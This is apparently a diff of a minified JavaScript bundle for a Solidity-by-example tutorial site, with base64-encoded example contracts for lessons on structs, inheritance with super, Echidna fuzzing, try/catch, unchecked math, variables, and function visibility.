                                        `,GW=({prev:s,next:a})=>i.jsx(u,{version:wW,title:kW,description:ZW,html:BW,prev:s,next:a,codes:WW}),fW="0.8.20",VW="Structs",vW="An example of how to use structs in Solidity",YW=[{fileName:"StructDeclaration.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKLy8gVGhpcyBpcyBzYXZlZCAnU3RydWN0RGVjbGFyYXRpb24uc29sJwoKc3RydWN0IFRvZG8gewogICAgc3RyaW5nIHRleHQ7CiAgICBib29sIGNvbXBsZXRlZDsKfQo="},{fileName:"StructImport.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiLi9TdHJ1Y3REZWNsYXJhdGlvbi5zb2wiOwoKY29udHJhY3QgVG9kb3MgewogICAgLy8gQW4gYXJyYXkgb2YgJ1RvZG8nIHN0cnVjdHMKICAgIFRvZG9bXSBwdWJsaWMgdG9kb3M7Cn0K"},{fileName:"Structs.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWE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9kbyBzdG9yYWdlIHRvZG8gPSB0b2Rvc1tfaW5kZXhdOwogICAgICAgIHJldHVybiAodG9kby50ZXh0LCB0b2RvLmNvbXBsZXRlZCk7CiAgICB9CgogICAgLy8gdXBkYXRlIHRleHQKICAgIGZ1bmN0aW9uIHVwZGF0ZVRleHQodWludCBfaW5kZXgsIHN0cmluZyBjYWxsZGF0YSBfdGV4dCkgcHVibGljIHsKICAgICAgICBUb2RvIHN0b3JhZ2UgdG9kbyA9IHRvZG9zW19pbmRleF07CiAgICAgICAgdG9kby50ZXh0ID0gX3RleHQ7CiAgICB9CgogICAgLy8gdXBkYXRlIGNvbXBsZXRlZAogICAgZnVuY3Rpb24gdG9nZ2xlQ29tcGxldGVkKHVpbnQgX2luZGV4KSBwdWJsaWMgewogICAgICAgIFRvZG8gc3RvcmFnZSB0b2RvID0gdG9kb3NbX2luZGV4XTsKICAgICAgICB0b2RvLmNvbXBsZXRlZCA9ICF0b2RvLmNvbXBsZXRlZDsKICAgIH0KfQo="}],RW=`

                                        You can define your own type by creating a struct.

                                        +`,vW=({prev:s,next:a})=>i.jsx(u,{version:WW,title:BW,description:GW,html:VW,prev:s,next:a,codes:fW}),YW="0.8.20",RW="Structs",XW="An example of how to use structs in Solidity",HW=[{fileName:"StructDeclaration.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKLy8gVGhpcyBpcyBzYXZlZCAnU3RydWN0RGVjbGFyYXRpb24uc29sJwoKc3RydWN0IFRvZG8gewogICAgc3RyaW5nIHRleHQ7CiAgICBib29sIGNvbXBsZXRlZDsKfQo="},{fileName:"StructImport.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiLi9TdHJ1Y3REZWNsYXJhdGlvbi5zb2wiOwoKY29udHJhY3QgVG9kb3MgewogICAgLy8gQW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lzIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gZ2V0KHVpbnQgX2luZGV4KSBwdWJsaWMgdmlldyByZXR1cm5zIChzdHJpbmcgbWVtb3J5IHRleHQsIGJvb2wgY29tcGxldGVkKSB7CiAgICAgICAgVG9kbyBzdG9yYWdlIHRvZG8gPSB0b2Rvc1tfaW5kZXhdOwogICAgICAgIHJldHVybiAodG9kby50ZXh0LCB0b2RvLmNvbXBsZXRlZCk7CiAgICB9CgogICAgLy8gdXBkYXRlIHRleHQKICAgIGZ1bmN0aW9uIHVwZGF0ZVRleHQodWludCBfaW5kZXgsIHN0cmluZyBjYWxsZGF0YSBfdGV4dCkgcHVibGljIHsKICAgICAgICBUb2RvIHN0b3JhZ2UgdG9kbyA9IHRvZG9zW19pbmRleF07CiAgICAgICAgdG9kby50ZXh0ID0gX3RleHQ7CiAgICB9CgogICAgLy8gdXBkYXRlIGNvbXBsZXRlZAogICAgZnVuY3Rpb24gdG9nZ2xlQ29tcGxldGVkKHVpbnQgX2luZGV4KSBwdWJsaWMgewogICAgICAgIFRvZG8gc3RvcmFnZSB0b2RvID0gdG9kb3NbX2luZGV4XTsKICAgICAgICB0b2RvLmNvbXBsZXRlZCA9ICF0b2RvLmNvbXBsZXRlZDsKICAgIH0KfQo="}],FW=`

                                        You can define your own type by creating a struct.

                                        They are useful for grouping together related data.

                                        Structs can be declared outside of a contract and imported in another contract.

                                        // SPDX-License-Identifier: MIT
                                        @@ -9611,7 +9611,7 @@ How to Sign and Verify
                                             // An array of 'Todo' structs
                                             Todo[] public todos;
                                         }
                                        -
                                        `,XW=({prev:s,next:a})=>i.jsx(u,{version:fW,title:VW,description:vW,html:RW,prev:s,next:a,codes:YW}),HW="0.8.20",FW="Calling Parent Contracts",NW="An example of calling parent contracts in Solidity",KW=[{fileName:"Super.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qIEluaGVyaX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lIHsKICAgICAgICBlbWl0IExvZygiQy5iYXIgY2FsbGVkIik7CiAgICAgICAgc3VwZXIuYmFyKCk7CiAgICB9Cn0KCmNvbnRyYWN0IEQgaXMgQiwgQyB7CiAgICAvLyBUcnk6CiAgICAvLyAtIENhbGwgRC5mb28gYW5kIGNoZWNrIHRoZSB0cmFuc2FjdGlvbiBsb2dzLgogICAgLy8gICBBbHRob3VnaCBEIGluaGVyaXRzIEEsIEIgYW5kIEMsIGl0IG9ubHkgY2FsbGVkIEMgYW5kIHRoZW4gQS4KICAgIC8vIC0gQ2FsbCBELmJhciBhbmQgY2hlY2sgdGhlIHRyYW5zYWN0aW9uIGxvZ3MKICAgIC8vICAgRCBjYWxsZWQgQywgdGhlbiBCLCBhbmQgZmluYWxseSBBLgogICAgLy8gICBBbHRob3VnaCBzdXBlciB3YXMgY2FsbGVkIHR3aWNlIChieSBCIGFuZCBDKSBpdCBvbmx5IGNhbGxlZCBBIG9uY2UuCgogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIG92ZXJyaWRlKEIsIEMpIHsKICAgICAgICBzdXBlci5mb28oKTsKICAgIH0KCiAgICBmdW5jdGlvbiBiYXIoKSBwdWJsaWMgb3ZlcnJpZGUoQiwgQykgewogICAgICAgIHN1cGVyLmJhcigpOwogICAgfQp9Cg=="}],SW=`

                                        Parent contracts can be called directly, or by using the keyword super.

                                        +`,NW=({prev:s,next:a})=>i.jsx(u,{version:YW,title:RW,description:XW,html:FW,prev:s,next:a,codes:HW}),KW="0.8.20",SW="Calling Parent Contracts",xW="An example of calling parent contracts in Solidity",MW=[{fileName:"Super.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qIEluaGVyaXRhbmNlIHRyZWUKICAgQQogLyAgXApCICAgQwogXCAvCiAgRAoqLwoKY29udHJhY3QgQSB7CiAgICAvLyBUaGlzIGlzIGNhbGxlZCBhbiBldmVudC4gW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QyB7CiAgICAvLyBUcnk6CiAgICAvLyAtIENhbGwgRC5mb28gYW5kIGNoZWNrIHRoZSB0cmFuc2FjdGlvbiBsb2dzLgogICAgLy8gICBBbHRob3VnaCBEIGluaGVyaXRzIEEsIEIgYW5kIEMsIGl0IG9ubHkgY2FsbGVkIEMgYW5kIHRoZW4gQS4KICAgIC8vIC0gQ2FsbCBELmJhciBhbmQgY2hlY2sgdGhlIHRyYW5zYWN0aW9uIGxvZ3MKICAgIC8vICAgRCBjYWxsZWQgQywgdGhlbiBCLCBhbmQgZmluYWxseSBBLgogICAgLy8gICBBbHRob3VnaCBzdXBlciB3YXMgY2FsbGVkIHR3aWNlIChieSBCIGFuZCBDKSBpdCBvbmx5IGNhbGxlZCBBIG9uY2UuCgogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIG92ZXJyaWRlKEIsIEMpIHsKICAgICAgICBzdXBlci5mb28oKTsKICAgIH0KCiAgICBmdW5jdGlvbiBiYXIoKSBwdWJsaWMgb3ZlcnJpZGUoQiwgQykgewogICAgICAgIHN1cGVyLmJhcigpOwogICAgfQp9Cg=="}],JW=`

                                        Parent contracts can be called directly, or by using the keyword super.

                                        By using the keyword super, all of the immediate parent contracts will be called.

                                        // SPDX-License-Identifier: MIT
                                         pragma solidity ^0.8.20;
                                        @@ -9679,7 +9679,7 @@ B   C
                                                 super.bar();
                                             }
                                         }
                                        -
                                        `,xW=({prev:s,next:a})=>i.jsx(u,{version:HW,title:FW,description:NW,html:SW,prev:s,next:a,codes:KW}),MW="0.8.20",JW="Echidna",zW="An example of testing contracts with Echidna",EW=[{fileName:"EchidnaTestTimeAndCaller.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCmRvY2tlciBydW4gLWl0IC0tcm0gLXYgJFBXRDovY29kZSB0cmFpbG9mYml0cy9ldGgtc2VjdXJpdHktdG9vbGJveAplY2hpZG5hLXRlc3Qg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B0byAwLjcgdG8gdGVzdCBhc3NlcnRpb25zCiAgICBmdW5jdGlvbiB0ZXN0X2Fzc2VydCh1aW50IF9pKSBleHRlcm5hbCB7CiAgICAgICAgYXNzZXJ0KF9pIDwgMTApOwogICAgfQoKICAgIC8vIE1vcmUgY29tcGxleCBleGFtcGxlCiAgICBmdW5jdGlvbiBhYnModWludCB4LCB1aW50IHkpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgaWYgKHggPj0geSkgewogICAgICAgICAgICByZXR1cm4geCAtIHk7CiAgICAgICAgfQogICAgICAgIHJldHVybiB5IC0geDsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X2Ficyh1aW50IHgsIHVpbnQgeSkgZXh0ZXJuYWwgewogICAgICAgIHVpbnQgeiA9IGFicyh4LCB5KTsKICAgICAgICBpZiAoeCA+PSB5KSB7CiAgICAgICAgICAgIGFzc2VydCh6IDw9IHgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGFzc2VydCh6IDw9IHkpOwogICAgICAgIH0KICAgIH0KfQo="}],LW=`

                                        Examples of fuzzing with Echidna.

                                        +`,zW=({prev:s,next:a})=>i.jsx(u,{version:KW,title:SW,description:xW,html:JW,prev:s,next:a,codes:MW}),EW="0.8.20",LW="Echidna",QW="An example of testing contracts with Echidna",_W=[{fileName:"EchidnaTestTimeAndCaller.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCmRvY2tlciBydW4gLWl0IC0tcm0gLXYgJFBXRDovY29kZSB0cmFpbG9mYml0cy9ldGgtc2VjdXJpdHktdG9vbGJveAplY2hpZG5hLXRlc3QgRWNoaWRuYVRlc3RUaW1lQW5kQ2FsbGVyLnNvbCAtLWNvbnRyYWN0IEVjaGlkbmFUZXN0VGltZUFuZENhbGxlcgoqLwpjb250cmFjdCBFY2hpZG5hVGVzdFRpbWVBbmRD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gfQoKICAgIC8vIE1vcmUgY29tcGxleCBleGFtcGxlCiAgICBmdW5jdGlvbiBhYnModWludCB4LCB1aW50IHkpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgaWYgKHggPj0geSkgewogICAgICAgICAgICByZXR1cm4geCAtIHk7CiAgICAgICAgfQogICAgICAgIHJldHVybiB5IC0geDsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X2Ficyh1aW50IHgsIHVpbnQgeSkgZXh0ZXJuYWwgewogICAgICAgIHVpbnQgeiA9IGFicyh4LCB5KTsKICAgICAgICBpZiAoeCA+PSB5KSB7CiAgICAgICAgICAgIGFzc2VydCh6IDw9IHgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGFzc2VydCh6IDw9IHkpOwogICAgICAgIH0KICAgIH0KfQo="}],UW=`

                                        Examples of fuzzing with Echidna.

                                        1. Save the solidity contract as TestEchidna.sol
                                        2. In the folder where your contract is stored execute the following command.
                                        3. @@ -9816,7 +9816,7 @@ echidna-test EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller return false; } } -`,QW=({prev:s,next:a})=>i.jsx(u,{version:MW,title:JW,description:zW,html:LW,prev:s,next:a,codes:EW}),_W="0.8.20",UW="Try Catch",TW="An example of try / catch in Solidity",DW=[{fileName:"TryCatch.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIEV4dGVybmFsIGNvbnRyYWN0IHVzZWQgZm9yIHRyeSAvIGNhdGNoIGV4YW1wbGVzCmNvbnRyYWN0IEZvbyB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9vd25lcikgewogICAgICAgIHJlcXVpcmUoX293bmVyICE9IGFkZHJlc3MoMCksICJpbnZhbGlkIGFkZHJlc3MiKTsKICAgICAgICBhc3NlcnQoX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ICAgIH0KfQo="}],OW=`

                                          try / catch can only catch errors from external function calls and contract creation.

                                          +`,TW=({prev:s,next:a})=>i.jsx(u,{version:EW,title:LW,description:QW,html:UW,prev:s,next:a,codes:_W}),DW="0.8.20",OW="Try Catch",PW="An example of try / catch in Solidity",$W=[{fileName:"TryCatch.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIEV4dGVybmFsIGNvbnRyYWN0IHVzZWQgZm9yIHRyeSAvIGNhdGNoIGV4YW1wbGVzCmNvbnRyYWN0IEZvbyB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9vd25lcikgewogICAgICAgIHJlcXVpcmUoX293bmVyICE9IGFkZHJlc3MoMCksICJpbnZhbGlkIGFkZHJlc3MiKTsKICAgICAgICBhc3NlcnQoX293bmVyICE9IDB4MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMSk7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICB9CgogICAgZnVuY3Rpb24gbXlGdW5jKHVpbnQgeCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJlcXVpcmUoeCAhPSAwLCAicmVxdWlyZSBmYWlsZWQiKTsKICAgICAgICByZXR1cm4gIm15IGZ1bmMgd2FzIGNhbGxlZCI7CiAgICB9Cn0KCmNvbnRyYWN0IEJhciB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwogICAgZXZlbnQgTG9nQnl0ZXMoYnl0ZXMgZGF0YSk7CgogICAgRm9vIHB1YmxpYyBmb287CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgLy8gVGhpcyBGb28gY29udHJhY3QgaXMgdXNlZCBmb3IgZXhhbXBsZSBvZiB0cnkgY2F0Y2ggd2l0aCBleHR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250cmFjdChhZGRyZXNzIF9vd25lcikgcHVibGljIHsKICAgICAgICB0cnkgbmV3IEZvbyhfb3duZXIpIHJldHVybnMgKEZvbyBmb28pIHsKICAgICAgICAgICAgLy8geW91IGNhbiB1c2UgdmFyaWFibGUgZm9vIGhlcmUKICAgICAgICAgICAgZW1pdCBMb2coIkZvbyBjcmVhdGVkIik7CiAgICAgICAgfSBjYXRjaCBFcnJvcihzdHJpbmcgbWVtb3J5IHJlYXNvbikgewogICAgICAgICAgICAvLyBjYXRjaCBmYWlsaW5nIHJldmVydCgpIGFuZCByZXF1aXJlKCkKICAgICAgICAgICAgZW1pdCBMb2cocmVhc29uKTsKICAgICAgICB9IGNhdGNoIChieXRlcyBtZW1vcnkgcmVhc29uKSB7CiAgICAgICAgICAgIC8vIGNhdGNoIGZhaWxpbmcgYXNzZXJ0KCkKICAgICAgICAgICAgZW1pdCBMb2dCeXRlcyhyZWFzb24pOwogICAgICAgIH0KICAgIH0KfQo="}],qW=`

                                          try / catch can only catch errors from external function calls and contract creation.

                                          // SPDX-License-Identifier: MIT
                                           pragma solidity ^0.8.20;
                                           
                                          @@ -9875,7 +9875,7 @@ echidna-test EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
                                                   }
                                               }
                                           }
                                          -
                                          `,PW=({prev:s,next:a})=>i.jsx(u,{version:_W,title:UW,description:TW,html:OW,prev:s,next:a,codes:DW}),$W="0.8.20",qW="Unchecked Math",sB="An example of unchecked math in Solidity",aB=[{fileName:"UncheckedMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFVuY2hlY2tlZE1hdGggewogICAgZnVuY3Rpb24gYWRkKHVpbnQgeCwgdWludCB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICAvLyAyMjI5MSBnYXMKICAgICAgICAvLyByZXR1cm4geCArIHk7CgogICAgICAgIC8vIDIyMTAzIGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4ICsgeTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3ViKHVpbnQgeCwgdWludCB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICAvLyAyMjMyOSBnYXMKICAgICAgICAvLyByZXR1cm4geCAtIHk7CgogICAgICAgIC8vIDIyMTQ3IGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4IC0geTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3VtT2ZDdWJlcyh1aW50IHgsIHVpbnQgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgLy8gV3JhcCBjb21wbGV4IG1hdGggbG9naWMgaW5zaWRlIHVuY2hlY2tlZAogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHVpbnQgeDMgPSB4ICogeCAqIHg7CiAgICAgICAgICAgIHVpbnQgeTMgPSB5ICogeSAqIHk7CgogICAgICAgICAgICByZXR1cm4geDMgKyB5MzsKICAgICAgICB9CiAgICB9Cn0K"}],nB=`

                                          Overflow and underflow of numbers in Solidity 0.8 throw an error. This can be disabled by using unchecked.

                                          +`,sB=({prev:s,next:a})=>i.jsx(u,{version:DW,title:OW,description:PW,html:qW,prev:s,next:a,codes:$W}),aB="0.8.20",nB="Unchecked Math",lB="An example of unchecked math in Solidity",pB=[{fileName:"UncheckedMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFVuY2hlY2tlZE1hdGggewogICAgZnVuY3Rpb24gYWRkKHVpbnQgeCwgdWludCB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICAvLyAyMjI5MSBnYXMKICAgICAgICAvLyByZXR1cm4geCArIHk7CgogICAgICAgIC8vIDIyMTAzIGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4ICsgeTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3ViKHVpbnQgeCwgdWludCB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICAvLyAyMjMyOSBnYXMKICAgICAgICAvLyByZXR1cm4geCAtIHk7CgogICAgICAgIC8vIDIyMTQ3IGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4IC0geTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3VtT2ZDdWJlcyh1aW50IHgsIHVpbnQgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgLy8gV3JhcCBjb21wbGV4IG1hdGggbG9naWMgaW5zaWRlIHVuY2hlY2tlZAogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHVpbnQgeDMgPSB4ICogeCAqIHg7CiAgICAgICAgICAgIHVpbnQgeTMgPSB5ICogeSAqIHk7CgogICAgICAgICAgICByZXR1cm4geDMgKyB5MzsKICAgICAgICB9CiAgICB9Cn0K"}],eB=`

                                          Overflow and underflow of numbers in Solidity 0.8 throw an error. This can be disabled by using unchecked.

                                          Disabling overflow / underflow check saves gas.

                                          // SPDX-License-Identifier: MIT
                                           pragma solidity ^0.8.20;
                                          @@ -9911,7 +9911,7 @@ echidna-test EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
                                                   }
                                               }
                                           }
                                          -
                                          `,lB=({prev:s,next:a})=>i.jsx(u,{version:$W,title:qW,description:sB,html:nB,prev:s,next:a,codes:aB}),pB="0.8.20",eB="Variables",cB="Local, state and global variables",tB=[{fileName:"Variables.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFZhcmlhYmxlcyB7CiAgICAvLyBTdGF0ZSB2YXJpYWJsZXMgYXJlIHN0b3JlZCBvbiB0aGUgYmxvY2tjaGFpbi4KICAgIHN0cmluZyBwdWJsaWMgdGV4dCA9ICJIZWxsbyI7CiAgICB1aW50IHB1YmxpYyBudW0gPSAxMjM7CgogICAgZnVuY3Rpb24gZG9Tb21ldGhpbmcoKSBwdWJsaWMgewogICAgICAgIC8vIExvY2FsIHZhcmlhYmxlcyBhcmUgbm90IHNhdmVkIHRvIHRoZSBibG9ja2NoYWluLgogICAgICAgIHVpbnQgaSA9IDQ1NjsKCiAgICAgICAgLy8gSGVyZSBhcmUgc29tZSBnbG9iYWwgdmFyaWFibGVzCiAgICAgICAgdWludCB0aW1lc3RhbXAgPSBibG9jay50aW1lc3RhbXA7IC8vIEN1cnJlbnQgYmxvY2sgdGltZXN0YW1wCiAgICAgICAgYWRkcmVzcyBzZW5kZXIgPSBtc2cuc2VuZGVyOyAvLyBhZGRyZXNzIG9mIHRoZSBjYWxsZXIKICAgIH0KfQo="}],oB=`

                                          There are 3 types of variables in Solidity

                                          +`,cB=({prev:s,next:a})=>i.jsx(u,{version:aB,title:nB,description:lB,html:eB,prev:s,next:a,codes:pB}),tB="0.8.20",oB="Variables",rB="Local, state and global variables",iB=[{fileName:"Variables.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFZhcmlhYmxlcyB7CiAgICAvLyBTdGF0ZSB2YXJpYWJsZXMgYXJlIHN0b3JlZCBvbiB0aGUgYmxvY2tjaGFpbi4KICAgIHN0cmluZyBwdWJsaWMgdGV4dCA9ICJIZWxsbyI7CiAgICB1aW50IHB1YmxpYyBudW0gPSAxMjM7CgogICAgZnVuY3Rpb24gZG9Tb21ldGhpbmcoKSBwdWJsaWMgewogICAgICAgIC8vIExvY2FsIHZhcmlhYmxlcyBhcmUgbm90IHNhdmVkIHRvIHRoZSBibG9ja2NoYWluLgogICAgICAgIHVpbnQgaSA9IDQ1NjsKCiAgICAgICAgLy8gSGVyZSBhcmUgc29tZSBnbG9iYWwgdmFyaWFibGVzCiAgICAgICAgdWludCB0aW1lc3RhbXAgPSBibG9jay50aW1lc3RhbXA7IC8vIEN1cnJlbnQgYmxvY2sgdGltZXN0YW1wCiAgICAgICAgYWRkcmVzcyBzZW5kZXIgPSBtc2cuc2VuZGVyOyAvLyBhZGRyZXNzIG9mIHRoZSBjYWxsZXIKICAgIH0KfQo="}],hB=`

                                          There are 3 types of variables in Solidity

                                          • local
                                            • declared inside a function
                                            • @@ -9942,7 +9942,7 @@ echidna-test EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller address sender = msg.sender; // address of the caller } } -`,rB=({prev:s,next:a})=>i.jsx(u,{version:pB,title:eB,description:cB,html:oB,prev:s,next:a,codes:tB}),iB="0.8.20",hB="View and Pure Functions",gB="An example of view and pure functions in Solidity",dB=[{fileName:"ViewAndPureFunctions.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFZpZXdBbmRQdXJlIHsKICAgIHVpbnQgcHVibGljIHggPSAxOwoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSB0aGUgc3RhdGUuCiAgICBmdW5jdGlvbiBhZGRUb1godWludCB5KSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIHggKyB5OwogICAgfQoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSBvciByZWFkIGZyb20gdGhlIHN0YXRlLgogICAgZnVuY3Rpb24gYWRkKHVpbnQgaSwgdWludCBqKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIGkgKyBqOwogICAgfQp9Cg=="}],IB=`

                                              Getter functions can be declared view or pure.

                                              +`,gB=({prev:s,next:a})=>i.jsx(u,{version:tB,title:oB,description:rB,html:hB,prev:s,next:a,codes:iB}),dB="0.8.20",IB="View and Pure Functions",CB="An example of view and pure functions in Solidity",jB=[{fileName:"ViewAndPureFunctions.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFZpZXdBbmRQdXJlIHsKICAgIHVpbnQgcHVibGljIHggPSAxOwoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSB0aGUgc3RhdGUuCiAgICBmdW5jdGlvbiBhZGRUb1godWludCB5KSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIHggKyB5OwogICAgfQoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSBvciByZWFkIGZyb20gdGhlIHN0YXRlLgogICAgZnVuY3Rpb24gYWRkKHVpbnQgaSwgdWludCBqKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIGkgKyBqOwogICAgfQp9Cg=="}],uB=`

                                              Getter functions can be declared view or pure.

                                              View function declares that no state will be changed.

                                              Pure function declares that no state variable will be changed or read.

                                              // SPDX-License-Identifier: MIT
                                              @@ -9961,7 +9961,7 @@ echidna-test EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
                                                       return i + j;
                                                   }
                                               }
                                              -
                                              `,CB=({prev:s,next:a})=>i.jsx(u,{version:iB,title:hB,description:gB,html:IB,prev:s,next:a,codes:dB}),jB="0.8.20",uB="Visibility",yB="An example of external, internal, private and public functions in Solidity",mB=[{fileName:"Visibility.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEJhc2UgewogIC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jYW5ub3QgYmUgZXh0ZXJuYWwgc28gdGhpcyBjb2RlIHdvbid0IGNvbXBpbGUuCiAgICAvLyBzdHJpbmcgZXh0ZXJuYWwgZXh0ZXJuYWxWYXIgPSAibXkgZXh0ZXJuYWwgdmFyaWFibGUiOwp9Cgpjb250cmFjdCBDaGlsZCBpcyBCYXNlIHsKICAgIC8vIEluaGVyaXRlZCBjb250cmFjdHMgZG8gbm90IGhhdmUgYWNjZXNzIHRvIHByaXZhdGUgZnVuY3Rpb25zCiAgICAvLyBhbmQgc3RhdGUgdmFyaWFibGVzLgogICAgLy8gZnVuY3Rpb24gdGVzdFByaXZhdGVGdW5jKCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgLy8gICAgIHJldHVybiBwcml2YXRlRnVuYygpOwogICAgLy8gfQoKICAgIC8vIEludGVybmFsIGZ1bmN0aW9uIGNhbGwgYmUgY2FsbGVkIGluc2lkZSBjaGlsZCBjb250cmFjdHMuCiAgICBmdW5jdGlvbiB0ZXN0SW50ZXJuYWxGdW5jKCkgcHVibGljIHB1cmUgb3ZlcnJpZGUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBpbnRlcm5hbEZ1bmMoKTsKICAgIH0KfQo="}],AB=`

                                              Functions and state variables have to declare whether they are accessible by other contracts.

